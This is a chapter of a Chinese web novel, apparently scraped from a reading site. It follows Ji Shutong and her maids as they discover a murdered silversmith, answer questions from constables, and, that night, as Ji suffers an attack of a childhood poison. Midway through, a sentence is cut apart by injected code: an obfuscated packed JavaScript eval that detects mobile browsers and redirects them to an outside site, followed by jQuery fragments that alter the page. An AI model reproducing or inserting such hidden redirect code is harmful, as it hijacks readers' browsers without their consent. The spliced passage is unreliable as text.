7. 第 7 章

作品:《宿敌他对我蓄谋已久

    季疏桐没否认:“我们刚查到一点线索,跟线索有关的铺主就遇害了,你们不觉得奇怪吗?”


    香传还在思索,弦月听到这,她握紧了手中的剑,出了声:“姑娘的意思是……”


    她压低了声音,小声道:“怀疑有人在跟踪我们?”


    季疏桐点点头,“没错。”


    明白过来的香传不可置信的挣大双眼,她内心是不想验尸的,可只有验尸才能知道尸体的死亡时间,从而判断究竟有没有人跟踪她们,阻止她们查找真相。


    为了姑娘,就算是让她验尸,战胜自己的心魔又有何妨。


    香传收拾好呼吸,双手握拳坚定道:“姑娘,我会。”


    季疏桐和弦月对视一眼,两人都心照不宣地笑了。


    她们都了解香传的性子,香传虽然看着胆小,但遇到大事她也不会退缩,尤其是和季疏桐有关的事。


    香传随身背着一个药箱,里面装着各种药瓶,说是怕季疏桐万一受伤,多备着点药,也好给她医治。


    药箱里除了药还有银针,因为季疏桐的身体原因,这些银针有的时候也能派上用场。


    香传从药箱里的底下翻出一个皮手套,戴在手上,她深呼一口气,靠近那具尸体。


    香传的一颗心怦怦直跳,她认真查看了一番,尸体的伤口以及死者的特征。


    过了不久后,香传站起身,道:“死者刚死不久,身体还未僵硬。”


    “姑娘,还真有人在跟踪我们。”


    季疏桐猜得没错,有人一直在暗中观察她们,并且阻止她们,这伙人,和杀害他阿父的人,不知他们其中有没有关联。既然喜欢在背后跟踪,那她就让他们见见阳光,总在背后跟着是怎么一回事。


    “弦月,你去衙门报案,就说南城口的银匠铺内发生了命案,请衙役过来。”


    弦月得了令,应下就往外跑。


    香传不明所以地走到季疏桐身边,“姑娘这是打算做什么?”


    铺主在银匠铺内遇害,她们三人现在成了第一个发现尸体的人,如果不做处理,保不准前面会有什么诬陷在等着她们,如今最好主动出击。


    “人死了,而我们是第一个遇到尸体的人,你觉得要是有人要诬陷我们,该当如何做?”


    香传恍然大悟,她满眼皆是惊讶。


    “姑娘是想借衙役之手,引出幕后之人?”


    “我只是想查明真相。”季疏桐那一双清净的眸子,静静看着远处。


    季太傅死得蹊跷,她不相信任何人,所以才会亲自着手查明。


    过了不久后,弦月带着衙役回来。


    衙役来了五人,里面还有一名仵作,那仵作带着工具就上前去查探尸体。


    香传瞅了一眼地上的尸体,还是没忍住胃里的不适感,干呕起来。


    另外的两个衙役,在屋内的四周查看。


    衙役其中的一个高大衙役,扫视了一眼季疏桐和香传,问道:“你们是因何来到这的?”


    香传强压住恶心,笑道:“我家姑娘前些日子买了一根银针,觉着用得不错,想着再做一个银针,去北街口一问,才知道那银针是在这南巷口做的,所以才来这,准备找铺主为我们打造一个。”


    “没想到这一来就发现了,这场命案。”


    高大衙役转头指向弦月,“她也是和你们一起的?”


    香传点点头,道:“是一起的,这是我家姑娘的婢子,我们发现命案,就去衙门报案了。”


    “你说你们是为了做银针而来,有什么证据?”高大的衙役问道。


    香传沉默一瞬,证据?她们本来是为了查明大人之死的真相,才找到这来,如今人死了,她们又有什么证据。


    一旁的季疏桐开口了,她的脸上戴着面衣:“自然是有,北街口的铺主,可以为我们做证。”


    高大衙役转头吩咐身旁的小衙,“去查,看她们说的是否属实。”


    这边的仵作查验完尸体,走上前道:“大人,这具尸体的死法,与城南郊外的死者的死法一致,都是被活生生取心而死。”


    季疏桐目光一顿,听他们的意思,难不成也有旁的人与铺主的死法一致?


    高大衙役愤愤不平道:“这些日子,建业已经出现不少杀人取心案,这个醉鬼,敢在我的眼皮底下为非作歹,胆子未免也太大了些。”


    屋内几个衙役,还在检查现场,季疏桐和香传弦月坐在院外石凳上,阳光洒在她们头顶,香传找出了一把纸伞,撑开为季疏桐遮挡太阳。


    等了一会,那个外出的小役回来了。


    高大的衙役问他道:“怎么样,她们说的可都属实?”


    小役点头道:“那银匠铺主说却有其事,那铺主说在晨时曾有三位姑娘去过他的铺子,向他打听银针的下落,是他告诉三位姑娘,南巷口有她们要找的银针,她们才去的南巷口。”


    高大衙役看向她们,“银针呢?在何处?”


    弦月从腰间的布袋中掏出那枚银针,道:“在这。”


    高大衙役扫了一眼那枚银针,又拿这枚银针和铺子里的银针对比,确定她们三人没说谎后,才排除她们的嫌疑。


    杀人取心案,他们调查了很久,也有一些头绪,那个凶手是一名男子,身材矮小,还是一个醉鬼。只可惜此人神出鬼没,衙门这些日子,为了捉住他费了不少力气。


    季疏桐三人只是一介女流,况且也有证据的证明她们三人来此的动机,衙役也不想与她们为难。


    衙役公事公办的问了她们几句发现尸体的细节,做了记录,就让她们走了。


    等到季疏桐三人回到太傅府时,天色渐淡,夕阳挂在天边,晕出圈圈淡橙色。


    太傅府内的饭厅里。


    香传已经叫人准备好了一桌饭菜,她一边布菜,一边道:“姑娘都一日未曾进食了,这样下去,身体会吃不消的。”


    她夹了一块水晶虾仁,放在季疏桐面前的碗中,“姑娘,这是你喜欢吃的,我特意让厨子多做了些。”


    她一脸心疼地看着季疏桐那单薄的身躯,自家姑娘因为身体原因,这些年常常没有胃口,吃的特别少。


    如今姑娘已十五,看着却比相同年纪的女娘还要瘦上一圈,她看着也实在心疼。


    季疏桐拿起筷子,吃了几口,便感觉身体不适,吃不下去了。


    她放下筷子,道:“吃饱了。”


    香传看着就动了几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062422|195083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口的饭菜,劝道:“姑娘要不再多吃一点,这还有几道菜没动呢。”


    季疏桐摇头道:“不吃了,吃不下。”


    香传没办法,知道姑娘这是又犯病了,只好叫人把饭菜撤了。


    吃完饭后,季疏桐回到了自己的闺房,婢子们收拾打水,服侍季疏桐沐浴。


    季疏桐躺在浴汤里,感觉身上一身轻,她回想起白日里的一切,觉得蹊跷的地方有不少。


    听那衙役说,近日城中发生不少杀人取心案,如果真有人跟踪她们,怎么会提前就杀害别人。


    难道,真的是她多想了?难道,只是杀人凶手碰巧杀害了银匠铺主?


    她闭眸,心中有不少不明白的事。


    水珠顺着季疏桐额前的碎发,滴落在浴汤中和水融为一体。


    室内热气缭绕,这些热气缓缓升于空中,又与空中的冷气相融。


    等到季疏桐沐浴完毕后,她换上寝衣,回到了寝屋。


    季疏桐躺着榻上,她感觉双眼沉重,困意渐渐蔓延开来。


    香传见她这样,轻手轻脚地放下纱帐,吹灭了蜡烛,关上房门,离开了这里。


    姑娘忙一天也累了,是该好好休息一会了。


    屋内漆黑一片,偶有月光透过窗棂,洒进一丝在屋内的地上。


    榻上的季疏桐安静地躺着,突然间,她感觉自己腹部隐隐有痛处传来。


    痛感越发强烈,一阵一阵击垮着她的防线,季疏桐的眉心紧蹙。


    这种痛感,她再熟悉不过,她每每毒发,就是这样的感觉。


    季疏桐痛得攥紧身上的被子,她咬紧牙关,身上一直在冒冷汗。


    她早在五岁的时候,就中了一毒,这毒狠辣,饶是她从小苦练毒术,都没法子解这毒。


    她只能在毒发作时,靠着自己的毅力,强撑过去。香传这些年为了给她解毒,也试了不少方法,她也喝了不少的药,只可惜做这一切都是无用。


    后来,香传学会了一法,能够暂时缓解她的疼痛。


    那便是用银针封住她的痛觉,让她暂时感受不到疼痛。不过,此法也有副作用,如若用的时间长了,季疏桐便会真的失去痛觉,变成一个毫无知觉的假人。


    她不想用这个法子,她想活着,她想当个普通正常的人。


    季疏桐不知道自己是怎么中的这毒,她只记得自己在五岁之前,还是好好的,没有经历过这种痛处。


    后来是五岁的某一日,突然她就疼痛难忍,医官给她检查,说她这是中毒了。


    医官还告诉她,这毒叫五月离,每过五月,便会毒发一次,毒发之时疼痛不已,非常人能够承受。


    这毒带来的痛苦还不止于此,她会时常没有胃口,食不下咽,吃多一些便会感到不适。


    她的身体也因此便得瘦弱,季疏桐的个子并不矮,人却是骨瘦如柴。


    之前每次毒发,都还有太傅陪在她身边,这一次的毒发,她的身旁却已无太傅。


    季疏桐从小就开始学毒术,就是为了给自己解毒,只可惜她不论用什么方法都没有效果。


    季疏桐窝在被子内痛得发抖,这次毒发比以往更加猛烈,她最终还是没忍住,晕了过去。